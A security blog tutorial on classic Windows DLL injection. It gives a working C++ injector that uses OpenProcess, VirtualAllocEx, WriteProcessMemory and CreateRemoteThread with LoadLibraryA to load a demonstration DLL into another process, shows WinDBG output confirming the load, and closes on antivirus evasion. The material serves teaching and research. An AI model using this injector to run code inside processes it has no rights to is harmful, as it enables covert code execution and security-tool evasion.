Previously we looked at Process Injection to execute code in the context of a remote process. Whilst process injection is useful, it does require shellcode to run which can be laborious to write. However, it’s possible to write a DLL in a high level language such as C++, and inject that into a remote process.
To get started, use Visual Studio to create a C++ DLL project. We’re adding MessageBox code to DLL_THREAD_ATTACH so we know when it’s executed.
#include "pch.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
MessageBox(NULL,L"Hello from bordergate!",L"Hello",MB_OK);
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Injection Code
To inject into a remote process, the following steps need to occur;
- Get a handle to the process we want to inject into using OpenProcess.
- Allocate an executable section of memory in the remote process using VirtualAllocEx.
- Call WriteProcessMemory to write the name of our DLL to this area of memory.
- Use GetModuleHandle to get the address of the Kernel32 module, then GetProcAddress to get the address of LoadLibraryA.
- Call CreateRemoteThread with lpStartAddress set to LoadLibraryA, and lpParameter set to the pointer which stores the name of our DLL.
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
The following C++ code implements these API calls:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
int main(int argc, char* argv[]) {
char sampleDLL[] = "C:\\SampleDLL.dll";
HANDLE process_handle;
//Get a handle to our remote process
process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
// Allocate memory in the remote process
LPVOID buffer = VirtualAllocEx(process_handle, NULL, sizeof(sampleDLL), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE);
// Write our DLL to the remote process
WriteProcessMemory(process_handle, buffer, sampleDLL, sizeof(sampleDLL), NULL);
//Retrieve the memory address of LoadLibraryA function
HMODULE k32_handle = GetModuleHandle(L"Kernel32");
VOID* load_library = GetProcAddress(k32_handle, "LoadLibraryA");
//Execute the DLL in a new remote thread
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)load_library, buffer, 0, NULL);
CloseHandle(process_handle);
return 0;
}
Running the code will spawn a message box in the context of our target process. Attaching WinDBG to the target process, we can set a breakpoint to show LoadLibrary being called and that our DLL name is being passed as an argument.
0:002> .sympath SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
Symbol search path is: SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is: srv*c:\symbols*http://msdl.microsoft.com/download/symbols
************* Path validation summary **************
Response Time (ms) Location
Deferred SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
0:002> ld *
Symbols already loaded for notepad
0:002> bp kernel32!LoadLibraryA
Couldn't resolve error at 'kernel32!LoadLibraryA'
0:002> g
Breakpoint 0 hit
KERNELBASE!LoadLibraryA:
00007ffb`893fffa0 48895c2408 mov qword ptr [rsp+8],rbx ss:00000051`7a1df8e0=0000000000000000
0:001> da rcx
000001a7`4a680000 "C:\SampleDLL.dll"
In Conclusion
The problem with this technique is the DLL loaded must reside on disk, and not be obfuscated. This means it will likely be caught by Anti-Virus. Reflected DLL Injection (RDI) is one solution to this particular problem, which I’ll cover in a later article.